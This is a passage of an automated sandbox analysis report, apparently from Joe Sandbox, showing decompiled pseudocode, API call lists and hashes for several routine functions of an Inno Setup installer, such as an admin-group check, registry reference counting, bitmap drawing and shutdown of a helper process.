							return FreeSid(_v12);
						}
					}
				} else {
					_v5 = 1;
					L26:
					return _v5;
				}
			}

0x0042df1d
0x0042df1f
0x0042df2d
0x0042df38
0x0042df5d
0x00000000
0x0042df63
0x0042df65
0x0042df66
0x0042df6b
0x0042df6e
0x0042df71
0x0042df80
0x0042df82
0x0042df8c
0x0042df91
0x0042df92
0x0042df97
0x0042df97
0x0042df9b
0x0042dfc4
0x0042dfdc
0x0042e013
0x0042e015
0x0042e016
0x0042e01b
0x0042e01e
0x0042e023
0x0042e03b
0x0042e05e
0x0042e07a
0x0042e08d
0x0042e090
0x0042e092
0x0042e093
0x0042e095
0x0042e0bf
0x0042e0c0
0x0042e0c1
0x00000000
0x00000000
0x00000000
0x0042e0c1
0x0042e0b9
0x0042e0b9
0x0042e0c3
0x0042e0c5
0x0042e0c8
0x0042e0cb
0x0042e0d3
0x0042e0e1
0x0042e07c
0x0042e07c
0x0042e081
0x00000000
0x0042e081
0x0042e047
0x0042e047
0x0042e04c
0x00000000
0x0042e04c
0x0042dfde
0x0042dfe8
0x0042e007
0x00000000
0x0042e009
0x0042e009
0x00000000
0x0042e009
0x0042dfea
0x0042dfea
0x00000000
0x0042dfea
0x0042dfe8
0x0042df9d
0x0042dfa0
0x0042dfa4
0x0042dfa5
0x0042dfab
0x0042dfb6
0x0042dfba
0x0042dfba
0x0042e0eb
0x0042e0ee
0x0042e0f1
0x0042e0ff
0x0042e0ff
0x0042df9b
0x0042df2f
0x0042df2f
0x0042e107
0x0042e10f
0x0042e10f

APIs

AllocateAndInitializeSid.ADVAPI32(0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF56
GetVersion.KERNEL32(00000000,0042E100,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF73
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E100,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF8C
6C8D5550.KERNEL32(00000000,advapi32.dll,CheckTokenMembership,00000000,0042E100,?,0048C79C,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042DF92
FreeSid.ADVAPI32(00000000,0042E107,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0FA

Strings

CheckTokenMembership, xrefs: 0042DF82
advapi32.dll, xrefs: 0042DF87

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: AllocateD5550FreeHandleInitializeModuleVersion
String ID: CheckTokenMembership$advapi32.dll
API String ID: 1611730698-1888249752
Opcode ID: c9deeabe0e51be14b57a484d0583af0611c7fb3cdb7b7e1f9c5916997f3a1601
Instruction ID: f569368b677594a0ca59dd8d50db1b9a46e0ad1f5f47a6d2aae22f3b0f4dbcaf
Opcode Fuzzy Hash: c9deeabe0e51be14b57a484d0583af0611c7fb3cdb7b7e1f9c5916997f3a1601
Instruction Fuzzy Hash: 4A519471B042259EDB10EAE6DC86BBF77ACEF04704F90047BB900E6282D57D99018A6E

Uniqueness

Uniqueness Score: -1.00%

Function 0048B020 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 247
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0048B020(void* __ebx, void* __edi, void* __esi) {
				char _v5;
				char _v6;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				void* _v36;
				char _v40;
				char _v44;
				char _v52;
				char _t62;
				void* _t89;
				void* _t119;
				intOrPtr _t121;
				intOrPtr _t125;
				char _t126;
				char _t130;
				char _t134;
				char _t137;
				long _t149;
				void* _t153;
				intOrPtr _t174;
				intOrPtr _t181;
				intOrPtr _t182;
				intOrPtr _t184;
				intOrPtr _t188;
				intOrPtr _t191;
				intOrPtr _t197;
				intOrPtr _t198;

				_t195 = __esi;
				_t194 = __edi;
				_t197 = _t198;
				_t153 = 6;
				do {
					_push(0);
					_push(0);
					_t153 = _t153 - 1;
				} while (_t153 != 0);
				_push(__esi);
				_push(__edi);
				_push(_t197);
				_push(0x48b3cd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t198;
				E0042D394(1, 0x48d628,  &_v44, __edi, __esi);
				if(E00406B20(_v44, 0x48b3e4) != 0) {
					E0042D394(1, 0x48d628,  &_v44, __edi, __esi);
					_t62 = E00406B20(_v44, 0x48b3f4);
					__eflags = _t62;
					if(_t62 != 0) {
						__eflags = 0;
						_pop(_t174);
						 *[fs:eax] = _t174;
						_push(E0048B3D4);
						return E00403568( &_v52, 9);
					} else {
						_v5 = 0;
						goto L6;
					}
				} else {
					_v5 = 1;
					L6:
					E0042438C( *0x48d628, 0x48b404, _t194);
					ShowWindow( *( *0x48d628 + 0x20), 5);
					E00473FC0();
					_v12 = CreateMutexA(0, 0, "Inno-Setup-RegSvr-Mutex");
					ShowWindow( *( *0x48d628 + 0x20), 0);
					if(_v12 != 0) {
						do {
							E00424574( *0x48d628);
							_t149 = MsgWaitForMultipleObjects(1,  &_v12, 0, 0xffffffff, 0xff);
							_t202 = _t149 == 1;
						} while (_t149 == 1);
					}
					ShowWindow( *( *0x48d628 + 0x20), 5);
					_push(_t197);
					_push(0x48b3ab);
					_push( *[fs:eax]);
					 *[fs:eax] = _t198;
					E0042D394(0, 0x48d628,  &_v44, _t194, _t195);
					E0042C568(_v44, 0x48d628,  &_v20, 0x48b42c, _t194, _t195, _t202);
					E0042D394(0, 0x48d628,  &_v44, _t194, _t195);
					E0042C568(_v44, 0x48d628,  &_v24, 0x48b43c, _t194, _t195, _t202);
					_t89 = E0042CD40(_t202);
					_t203 = _t89;
					if(_t89 == 0) {
						E00406FE4(_v24);
						E00406FE4(_v20);
						_push(_t197);
						_push( *[fs:eax]);
						 *[fs:eax] = _t198;
						E0048AEE4(0x48d628,  &_v24, _t194, _t195, __eflags);
						_pop(_t181);
						 *[fs:eax] = _t181;
						_t182 = 0x48b37b;
						 *[fs:eax] = _t182;
						_push(E0048B3B2);
						__eflags = _v12;
						if(_v12 != 0) {
							ReleaseMutex(_v12);
							return CloseHandle(_v12);
						}
						return 0;
					} else {
						E00450C6C(_v20, 0x48d628, 0, 0, _t194, _t195, _t203);
						_t184 =  *0x48ddc0; // 0x217a7a4
						E0042438C( *0x48d628, _t184, _t194);
						E00452404( &_v28, 0x48d628, _t184, _t194, _t195);
						_push(_t197);
						_push(0x48b347);
						_push( *[fs:eax]);
						 *[fs:eax] = _t198;
						E0048AF88(_v28, 0x48d628,  &_v32, _t194, _t195);
						_v16 = E0044FDE4(1, 1, 0, 2);
						_push(_t197);
						_push(0x48b30f);
						_push( *[fs:eax]);
						 *[fs:eax] = _t198;
						while(E00450194(_v16) == 0) {
							E004501A4(_v16, 0x48d628,  &_v36, _t194, _t195);
							_t119 = E004036BC(_v36);
							__eflags = _t119 - 4;
							if(_t119 > 4) {
								__eflags =  *_v36 - 0x5b;
								if( *_v36 == 0x5b) {
									_t121 = _v36;
									__eflags =  *((char*)(_t121 + 3)) - 0x5d;
									if( *((char*)(_t121 + 3)) == 0x5d) {
										E004038C0(_v36, 0x7fffffff, 5,  &_v40);
										_t125 = _v36;
										__eflags =  *((char*)(_t125 + 2)) - 0x71;
										if( *((char*)(_t125 + 2)) == 0x71) {
											L17:
											_t126 = 1;
										} else {
											__eflags = _v5;
											if(_v5 == 0) {
												L16:
												_t126 = 0;
											} else {
												__eflags =  *0x4ae24a;
												if( *0x4ae24a == 0) {
													goto L17;
												} else {
													goto L16;
												}
											}
										}
										_v6 = _t126;
										_push(_t197);
										_push(0x48b27f);
										_push( *[fs:eax]);
										 *[fs:eax] = _t198;
										_t39 = _v36 + 1; // 0xfff778bc
										_t130 =  *_t39 - 0x53;
										__eflags = _t130;
										if(__eflags == 0) {
											E00456880(0, 0x48d628, _v6, _v40, _t194, _t195, __eflags);
										} else {
											_t134 = _t130 - 1;
											__eflags = _t134;
											if(_t134 == 0) {
												__eflags = 0;
												E00456A34(0, 0x48d628, _v40, _t194, _t195);
											} else {
												_t137 = _t134 - 0x1f;
												__eflags = _t137;
												if(_t137 == 0) {
													E00454684(_v6);
												} else {
													__eflags = _t137 == 1;
													if(_t137 == 1) {
														E00454DEC(_v40, 0x48d628, _t194, _t195);
													}
												}
											}
										}
										_pop(_t191);
										 *[fs:eax] = _t191;
									}
								}
							}
						}
						_pop(_t188);
						 *[fs:eax] = _t188;
						_push(E0048B316);
						return E00402CA0(_v16);
					}
				}
			}

0x0048b020
0x0048b020
0x0048b021
0x0048b023
0x0048b028
0x0048b028
0x0048b02a
0x0048b02c
0x0048b02c
0x0048b030
0x0048b031
0x0048b039
0x0048b03a
0x0048b03f
0x0048b042
0x0048b04d
0x0048b061
0x0048b071
0x0048b07e
0x0048b083
0x0048b085
0x0048b3b2
0x0048b3b4
0x0048b3b7
0x0048b3ba
0x0048b3cc
0x0048b08b
0x0048b08b
0x00000000
0x0048b08b
0x0048b063
0x0048b063
0x0048b08f
0x0048b096
0x0048b0a3
0x0048b0a8
0x0048b0bb
0x0048b0c6
0x0048b0cf
0x0048b0d1
0x0048b0d3
0x0048b0e7
0x0048b0ec
0x0048b0ec
0x0048b0d1
0x0048b0f7
0x0048b0fe
0x0048b0ff
0x0048b104
0x0048b107
0x0048b10f
0x0048b11f
0x0048b129
0x0048b139
0x0048b141
0x0048b146
0x0048b148
0x0048b351
0x0048b359
0x0048b360
0x0048b366
0x0048b369
0x0048b36c
0x0048b373
0x0048b376
0x0048b387
0x0048b38a
0x0048b38d
0x0048b392
0x0048b396
0x0048b39c
0x00000000
0x0048b3a5
0x0048b3aa
0x0048b14e
0x0048b155
0x0048b15a
0x0048b162
0x0048b16a
0x0048b171
0x0048b172
0x0048b177
0x0048b17a
0x0048b183
0x0048b19d
0x0048b1a2
0x0048b1a3
0x0048b1a8
0x0048b1ab
0x0048b2e9
0x0048b1b9
0x0048b1c1
0x0048b1c6
0x0048b1c9
0x0048b1d2
0x0048b1d5
0x0048b1db
0x0048b1de
0x0048b1e2
0x0048b1f9
0x0048b1fe
0x0048b201
0x0048b205
0x0048b21a
0x0048b21a
0x0048b207
0x0048b207
0x0048b20b
0x0048b216
0x0048b216
0x0048b20d
0x0048b20d
0x0048b214
0x00000000
0x00000000
0x00000000
0x00000000
0x0048b214
0x0048b20b
0x0048b21c
0x0048b221
0x0048b222
0x0048b227
0x0048b22a
0x0048b230
0x0048b233
0x0048b233
0x0048b235
0x0048b25a
0x0048b237
0x0048b237
0x0048b237
0x0048b239
0x0048b26e
0x0048b270
0x0048b23b
0x0048b23b
0x0048b23b
0x0048b23d
0x0048b24b
0x0048b23f
0x0048b23f
0x0048b241
0x0048b264
0x0048b264
0x0048b241
0x0048b23d
0x0048b239
0x0048b277
0x0048b27a
0x0048b27a
0x0048b1e2
0x0048b1d5
0x0048b1c9
0x0048b2fb
0x0048b2fe
0x0048b301
0x0048b30e
0x0048b30e
0x0048b148

APIs

ShowWindow.USER32(?,00000005,00000000,0048B3CD,?,?,00000000,?,00000000,00000000,?,0048B6ED,00000000,0048B6F7,?,00000000), ref: 0048B0A3
CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048B3CD,?,?,00000000,?,00000000,00000000,?,0048B6ED,00000000), ref: 0048B0B6
ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048B3CD,?,?,00000000,?,00000000,00000000), ref: 0048B0C6
MsgWaitForMultipleObjects.USER32 ref: 0048B0E7
ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,0048B3CD,?,?,00000000,?,00000000), ref: 0048B0F7

Part of subcall function 0042D394: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D41F,?,?,00000000,?,?,0048AA50,00000000,0048ABE3,?,?,00000005), ref: 0042D3C9

Strings

.lst, xrefs: 0048B134
/REGU, xrefs: 0048B079
Setup, xrefs: 0048B08F
.msg, xrefs: 0048B11A
/REG, xrefs: 0048B055
Inno-Setup-RegSvr-Mutex, xrefs: 0048B0AD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
API String ID: 2000705611-3672972446
Opcode ID: f0b5a17cc245d39787d778605bfe403336b8dd3094fe9eccddebbaafcdbfdac9
Instruction ID: e567365e2edbf44dac8aaf4dc4f34d553573b61eaa8a14842a563c927ff724aa
Opcode Fuzzy Hash: f0b5a17cc245d39787d778605bfe403336b8dd3094fe9eccddebbaafcdbfdac9
Instruction Fuzzy Hash: 5C91C230A042049FDB11FBA5C856BAEBBB4EB49704F5148A7F800AB792D77DAC05CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041B474 Relevance: 21.1, APIs: 14, Instructions: 126
windowCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E0041B474(struct HDC__* __eax, void* __ecx, void* __edx) {
				void* _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				struct HDC__* _v28;
				struct HDC__* _v32;
				int _v48;
				int _v52;
				void _v56;
				int _t37;
				void* _t41;
				int _t43;
				void* _t47;
				void* _t73;
				intOrPtr _t78;
				void* _t85;
				void* _t87;
				void* _t89;
				intOrPtr _t90;

				_t87 = _t89;
				_t90 = _t89 + 0xffffffcc;
				asm("movsd");
				asm("movsd");
				_v8 = __eax;
				_push(0);
				L00405CD4();
				_v28 = __eax;
				_push(0);
				L00405CD4();
				_v32 = __eax;
				_t37 = GetObjectA(_v8, 0x18,  &_v56);
				if(__ecx == 0) {
					_push(0);
					L0040602C();
					_v24 = _t37;
					if(_v24 == 0) {
						E0041B45C();
					}
					_push(_t87);
					_push(0x41b523);
					_push( *[fs:eax]);
					 *[fs:eax] = _t90;
					_push(_v12);
					_push(_v16);
					_t41 = _v24;
					_push(_t41);
					L00405CCC();
					_v20 = _t41;
					if(_v20 == 0) {
						E0041B45C();
					}
					_pop(_t78);
					 *[fs:eax] = _t78;
					_push(E0041B52A);
					_t43 = _v24;
					_push(_t43);
					_push(0);
					L00406214();
					return _t43;
				} else {
					_push(0);
					_push(1);
					_push(1);
					_push(_v12);
					_t47 = _v16;
					_push(_t47);
					L00405CBC();
					_v20 = _t47;
					if(_v20 != 0) {
						_t73 = SelectObject(_v28, _v8);
						_t85 = SelectObject(_v32, _v20);
						StretchBlt(_v32, 0, 0, _v16, _v12, _v28, 0, 0, _v52, _v48, 0xcc0020);
						if(_t73 != 0) {
							SelectObject(_v28, _t73);
						}
						if(_t85 != 0) {
							SelectObject(_v32, _t85);
						}
					}
					DeleteDC(_v28);
					DeleteDC(_v32);
					return _v20;
				}
			}

0x0041b475
0x0041b477
0x0041b482
0x0041b483
0x0041b486
0x0041b489
0x0041b48b
0x0041b490
0x0041b493
0x0041b495
0x0041b49a
0x0041b4a7
0x0041b4ae
0x0041b4c8
0x0041b4ca
0x0041b4cf
0x0041b4d6
0x0041b4d8
0x0041b4d8
0x0041b4df
0x0041b4e0
0x0041b4e5
0x0041b4e8
0x0041b4ee
0x0041b4f2
0x0041b4f3
0x0041b4f6
0x0041b4f7
0x0041b4fc
0x0041b503
0x0041b505
0x0041b505
0x0041b50c
0x0041b50f
0x0041b512
0x0041b517
0x0041b51a
0x0041b51b
0x0041b51d
0x0041b522
0x0041b4b0
0x0041b4b0
0x0041b4b2
0x0041b4b4
0x0041b4b9
0x0041b4ba
0x0041b4bd
0x0041b4be
0x0041b4c3
0x0041b52e
0x0041b53d
0x0041b54c
0x0041b573
0x0041b57a
0x0041b581
0x0041b581
0x0041b588
0x0041b58f
0x0041b58f
0x0041b588
0x0041b598
0x0041b5a1
0x0041b5af
0x0041b5af

APIs

740BA590.GDI32(00000000,?,00000000,?), ref: 0041B48B
740BA590.GDI32(00000000,00000000,?,00000000,?), ref: 0041B495
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B4A7
740BA410.GDI32(0000000B,?,00000001,00000001,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B4BE
740BAC50.USER32(00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B4CA
740BA520.GDI32(00000000,0000000B,?,00000000,0041B523,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B4F7
740BB380.USER32(00000000,00000000,0041B52A,00000000,0041B523,?,00000000,?,00000018,00000004,00000000,00000000,?,00000000,?), ref: 0041B51D
SelectObject.GDI32(00000000,?), ref: 0041B538
SelectObject.GDI32(?,00000000), ref: 0041B547
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B573
SelectObject.GDI32(00000000,00000000), ref: 0041B581
SelectObject.GDI32(?,00000000), ref: 0041B58F
DeleteDC.GDI32(00000000), ref: 0041B598
DeleteDC.GDI32(?), ref: 0041B5A1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Object$Select$A590Delete$A410A520B380Stretch
String ID:
API String ID: 956127455-0
Opcode ID: 0aa4171e73c738f3ed35fbf04f4c3f4c009d14ea486f04d193f536f391bd58e1
Instruction ID: 8e1c141f7ffe4df06b5d7521c42b4083d07a835c5a738f326f949a81a19cf48d
Opcode Fuzzy Hash: 0aa4171e73c738f3ed35fbf04f4c3f4c009d14ea486f04d193f536f391bd58e1
Instruction Fuzzy Hash: 8E41EF71E44609BFDB10EBE9D845FEFB7B8EB08704F104566B614FB281D6785E408BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00453110 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244
registryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00453110(void* __ebx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v17;
				char _v24;
				int _v28;
				int _v32;
				char _v36;
				char _v40;
				char* _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char* _v64;
				char _v68;
				char _v72;
				void* _t75;
				void* _t94;
				void* _t99;
				void* _t126;
				void* _t161;
				void* _t166;
				intOrPtr _t184;
				intOrPtr _t188;
				intOrPtr _t190;
				void* _t202;
				void* _t203;
				intOrPtr _t204;

				_t202 = _t203;
				_t204 = _t203 + 0xffffffbc;
				_v40 = 0;
				_v52 = 0;
				_v68 = 0;
				_v72 = 0;
				_v36 = 0;
				_v8 = __edx;
				_push(_t202);
				_push(0x4533e0);
				_push( *[fs:edx]);
				 *[fs:edx] = _t204;
				_v9 = 0;
				_t166 = E0042DCB4(_t75, "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs", 0x80000002,  &_v16, 3, 0);
				if(_t166 == 2) {
					L28:
					_pop(_t184);
					 *[fs:eax] = _t184;
					_push(E004533E7);
					E00403568( &_v72, 2);
					E00403548( &_v52);
					return E00403568( &_v40, 2);
				} else {
					if(_t166 != 0) {
						E00451F90(0x80000002,  &_v52);
						_v48 = _v52;
						_v44 = "Software\\Microsoft\\Windows\\CurrentVersion\\SharedDLLs";
						E00450AE8(0x3e, 1,  &_v48,  &_v40);
						E004036C4( &_v40, 0x453474);
						_push( &_v40);
						_v64 = "RegOpenKeyEx";
						E00406DFC(_t166,  &_v68);
						_v60 = _v68;
						E0042E6D0(_t166,  &_v72);
						_v56 = _v72;
						E00450AE8(0x34, 2,  &_v64,  &_v52);
						_pop(_t161);
						E004036C4(_t161, _v52);
						E00408CA0(_v40, 1);
						E00403264();
					}
					_push(_t202);
					_push(0x4533a9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t204;
					if(RegQueryValueExA(_v16, E00403880(_v8), 0,  &_v28, 0,  &_v32) == 0) {
						_v17 = 0;
						_v24 = 0;
						_push(_t202);
						_push(0x4532f3);
						_push( *[fs:eax]);
						 *[fs:eax] = _t204;
						_t94 = _v28 - 1;
						if(_t94 == 0) {
							if(E0042DBE4() != 0) {
								_v24 = E00406E2C(_v36,  &_v36);
								_v17 = 1;
							}
						} else {
							_t126 = _t94 - 2;
							if(_t126 == 0) {
								if(_v32 >= 1 && _v32 <= 4 && RegQueryValueExA(_v16, E00403880(_v8), 0, 0,  &_v24,  &_v32) == 0) {
									_v17 = 1;
								}
							} else {
								if(_t126 == 1) {
									_v32 = 4;
									if(RegQueryValueExA(_v16, E00403880(_v8), 0, 0,  &_v24,  &_v32) == 0) {
										_v17 = 1;
									}
								}
							}
						}
						_pop(_t188);
						 *[fs:eax] = _t188;
						if(_v17 != 0) {
							_v24 = _v24 - 1;
							if(_v24 > 0) {
								_t99 = _v28 - 1;
								if(_t99 == 0) {
									E00406DFC(_v24,  &_v36);
									_push(E004036BC(_v36) + 1);
									_push(E00403880(_v36));
									_push(1);
									_push(0);
									_push(E00403880(_v8));
									_push(_v16);
									L00405934();
								} else {
									if(_t99 + 0xfffffffe - 2 < 0) {
										_push(4);
										_push( &_v24);
										_push(_v28);
										_push(0);
										_push(E00403880(_v8));
										_push(_v16);
										L00405934();
									}
								}
							} else {
								_v9 = 1;
								_push(E00403880(_v8));
								_push(_v16);
								L004058FC();
							}
							_pop(_t190);
							 *[fs:eax] = _t190;
							_push(E004533B0);
							return RegCloseKey(_v16);
						} else {
							E00403304();
							goto L28;
						}
					} else {
						E00403304();
						goto L28;
					}
				}
			}

0x00453111
0x00453113
0x0045311b
0x0045311e
0x00453121
0x00453124
0x00453127
0x0045312a
0x0045312f
0x00453130
0x00453135
0x00453138
0x0045313b
0x00453156
0x0045315b
0x004533b0
0x004533b2
0x004533b5
0x004533b8
0x004533c5
0x004533cd
0x004533df
0x00453161
0x00453163
0x00453175
0x0045317d
0x00453185
0x00453192
0x0045319f
0x004531a7
0x004531b1
0x004531b9
0x004531c1
0x004531c9
0x004531d1
0x004531de
0x004531e6
0x004531e7
0x004531f6
0x004531fb
0x004531fb
0x00453202
0x00453203
0x00453208
0x0045320b
0x00453230
0x0045323c
0x00453242
0x00453247
0x00453248
0x0045324d
0x00453250
0x00453256
0x00453257
0x00453275
0x0045327f
0x00453282
0x00453282
0x00453259
0x00453259
0x0045325c
0x0045328c
0x004532b6
0x004532b6
0x0045325e
0x0045325f
0x004532bc
0x004532e3
0x004532e5
0x004532e5
0x004532e3
0x0045325f
0x0045325c
0x004532eb
0x004532ee
0x00453301
0x0045330d
0x00453314
0x00453331
0x00453332
0x00453344
0x00453352
0x0045335b
0x0045335c
0x0045335e
0x00453368
0x0045336c
0x0045336d
0x00453334
0x0045333a
0x00453374
0x00453379
0x0045337d
0x0045337e
0x00453388
0x0045338c
0x0045338d
0x0045338d
0x0045333a
0x00453316
0x00453316
0x00453322
0x00453326
0x00453327
0x00453327
0x00453394
0x00453397
0x0045339a
0x004533a8
0x00453303
0x00453303
0x00000000
0x00453303
0x00453232
0x00453232
0x00000000
0x00453232
0x00453230

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegQueryValueExA.ADVAPI32(00457A86,00000000,00000000,?,00000000,?,00000000,004533A9,?,00457A86,00000003,00000000,00000000,004533E0), ref: 00453229

Part of subcall function 0042E6D0: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451D17,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E6EF

RegQueryValueExA.ADVAPI32(00457A86,00000000,00000000,00000000,?,00000004,00000000,004532F3,?,00457A86,00000000,00000000,?,00000000,?,00000000), ref: 004532AD
RegQueryValueExA.ADVAPI32(00457A86,00000000,00000000,00000000,?,00000004,00000000,004532F3,?,00457A86,00000000,00000000,?,00000000,?,00000000), ref: 004532DC

Strings

, xrefs: 0045319A
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00453147
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00453180
RegOpenKeyEx, xrefs: 004531AC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: QueryValue$D6790FormatMessage
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 741102441-1577016196
Opcode ID: 874b26472e4f01344493c177f00ece748e7297716023d8826d29a1d1d0f7e2af
Instruction ID: 936de7cad3d5af6865a02f705fb0ee734affc7f522bca8c011dcaa03fd34f40a
Opcode Fuzzy Hash: 874b26472e4f01344493c177f00ece748e7297716023d8826d29a1d1d0f7e2af
Instruction Fuzzy Hash: CA912471904608ABDF10DF95C942BEEB7F8EB08345F10446BF904F7292DA799B09CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00456300 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 63
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00456300(void* __eax) {
				long _v12;
				long _v16;
				void* __ebx;
				void* __esi;
				void* _t7;
				void* _t27;
				void* _t30;
				DWORD* _t32;

				_t4 = __eax;
				_t32 =  &_v12;
				_t27 = __eax;
				if( *0x48df0c == 0) {
					L11:
					return _t4;
				}
				 *0x48df0d = 1;
				E00455B64("Stopping 64-bit helper process.", __eax, _t30, 0x48df10);
				_t7 =  *0x48df14; // 0x0
				CloseHandle(_t7);
				 *0x48df14 = 0;
				while(WaitForSingleObject( *0x48df10, 0x2710) == 0x102) {
					E00455B64("Helper isn\'t responding; killing it.", _t27, _t30, 0x48df10);
					TerminateProcess( *0x48df10, 1);
				}
				if(GetExitCodeProcess( *0x48df10, _t32) == 0) {
					E00455B64("Helper process exited, but failed to get exit code.", _t27, _t30, 0x48df10);
				} else {
					if( *_t32 != 0) {
						_v16 =  *_t32;
						_v12 = 0;
						E00455D54("Helper process exited with failure code: 0x%x", _t27, 0,  &_v16, _t30, 0x48df10);
					} else {
						E00455B64("Helper process exited.", _t27, _t30, 0x48df10);
					}
				}
				CloseHandle( *0x48df10);
				_t4 = 0;
				 *0x48df10 = 0;
				 *0x48df0c = 0;
				if(_t27 == 0) {
					goto L11;
				} else {
					Sleep(0xfa);
					return 0;
				}
			}

0x00456300
0x00456302
0x00456305
0x00456313
0x004563d3
0x004563d3
0x004563d3
0x00456319
0x00456325
0x0045632a
0x00456330
0x00456337
0x00456352
0x00456343
0x0045634d
0x0045634d
0x00456371
0x004563a8
0x00456373
0x00456377
0x00456388
0x0045638c
0x0045639c
0x00456379
0x0045637e
0x0045637e
0x00456377
0x004563b0
0x004563b5
0x004563b7
0x004563b9
0x004563c2
0x00000000
0x004563c4
0x004563c9
0x00000000
0x004563c9

APIs

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

CloseHandle.KERNEL32(00000000), ref: 00456330
TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 0045634D
WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045635A
GetExitCodeProcess.KERNEL32 ref: 0045636A
CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 004563B0
